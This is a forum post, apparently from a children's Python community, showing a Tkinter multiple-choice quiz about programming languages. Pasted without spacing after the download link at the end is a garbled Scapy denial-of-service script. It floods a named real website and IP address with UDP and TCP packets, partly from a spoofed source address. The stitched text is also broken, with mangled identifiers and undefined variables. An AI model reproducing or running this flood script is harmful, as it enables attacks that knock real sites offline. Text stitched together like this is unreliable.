用户:
PlumSteven查看:8 回复:3 评论:8 创建时间:2021-09-12T13:12:17
【作品展示】

【作品介绍】
用Tkinter做了一个小小的答题系统,有问题请在评论中说哦~
【作品源代码】
import easygui
import tkinter as tk
import easygui as eg
import random
def start():
global question_ls, a_choose, b_choose, c_choose, d_choose, answer
question_ls = ['Python是一个面向什么的编程语言?', '说法正确的一项是:', 'Python的优点是', '下列不属于Python编译器的是:', 'C++以前被叫作什么', 'C++是面向什么的编程语言', '下列不属于高级语言的是:', 'PHP的语句要以分号结尾吗?']
a_choose = ['过程', 'Python代码格式要求严格', '代码格式要求没有那么严格', '海龟编辑器', 'C+', '对象', 'Assembly', '不要']
b_choose = ['并发', 'Python不擅长AI方面', '运行速度快', 'Eclipse', 'C with classes', '过程', 'C#', '都可以']
c_choose = ['对象', 'Python是一个面向对象的编程语言', 'Python容易加密', 'PyCharm', 'C+-', '并发', 'VB', '要']
d_choose = ['不知道', '以上都对', '以上都是它的优点', 'Pyjs', 'C+++', '过程', 'C++', '不知道']
answer = ['C', 'C', 'A', 'B', 'B', 'A', 'A', 'C']
window = tk.Tk()
def ask():
global score
score = 0
for j in range(0, 7):
global i
i = random.randint(0, len(question_ls) - 1)
question = tk.Label(window, text=question_ls[i])
A = tk.Button(window, text='A、' + a_choose[i], command=judgea)
B = tk.Button(window, text='B、' + b_choose[i], command=judgeb)
C = tk.Button(window, text='C、' + c_choose[i], command=judgec)
D = tk.Button(window, text='D、' + d_choose[i], command=judged)
question.pack()
A.pack()
B.pack()
C.pack()
D.pack()
window.mainloop()
question_ls.pop(i)
a_choose.pop(i)
b_choose.pop(i)
c_choose.pop(i)
d_choose.pop(i)
answer.pop(i)
eg.msgbox('答题结束,总共获得'+str(score)+'/6分', '结束', 'OK')
window.destroy()
def judgea():
global score
right = answer[i]
if ('A' == right):
easygui.msgbox('答对了', '提示', 'OK')
score += 1
else:
easygui.msgbox('答错了', '提示', 'OK')
window.quit()
def judgeb():
global score
right = answer[i]
if ('B' == right):
easygui.msgbox('答对了', '提示', 'OK')
score += 1
else:
easygui.msgbox('答错了', '提示', 'OK')
window.quit()
def judgec():
global score
right = answer[i]
if ('C' == right):
easygui.msgbox('答对了', '提示', 'OK')
score += 1
else:
easygui.msgbox('答错了', '提示', 'OK')
window.quit()
def judged():
global score
right = answer[i]
if ('D' == right):
easygui.msgbox('答对了', '提示', 'OK')
score += 1
else:
easygui.msgbox('答错了', '提示', 'OK')
window.quit()
start()
ask()
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn#-*-coding:'utf-8'-*- importtime importstruct fromthreadingimport* importsocket fromscapy.allimport* start=time.time() screenlock=Semaphore(value=1000) print('[^]HAQDDOsstart!') defDDos(): try: print('[*]SecondlayersofDDos') s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击 print(s[0].show()) except: print('[-]Thecauseofthemistake{}'.format(e)) try: print('[*]ThirdlayerDDos') p=srloop(IP(dst="www.dgjy.net",ttl=160)/UDP())#第三层攻击 print(p[0].show()) except: print('[-]Thecauseofthemistake{}'.format(s)) try: print('[*]Repeatedattacks') see=srp(IP(dst="113.108.127.169")/T喵(dport=[80,443]))#重复攻击 print(see[0].show()) except: print('[-]Thecauseofthemistake{}'.format(f)) try: data=struct.pack('=BHI',0x96,20,1000) pkt=IP(src='192.168.225.141',dst='113.108.127.169')/\ UDP(sport=12345,dport=[80,443])/data print('[*]DDoSattacksarebeingcarriedout!') screenlock.acquire() send(pkt,inter=1,count=160) except: print("[-]Thecauseofthemistake{}".format(g)) try: print('[*]DDos') gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP()) except: print('[-]causeofthemistake{}'.format(i)) t=Thread(target=DDos,args=()) t.start() end=time.time() print('[!]Timeconsumingofthisprogram,Thefirsttimeistheinitializationtime:',end-start)
点赞0
评论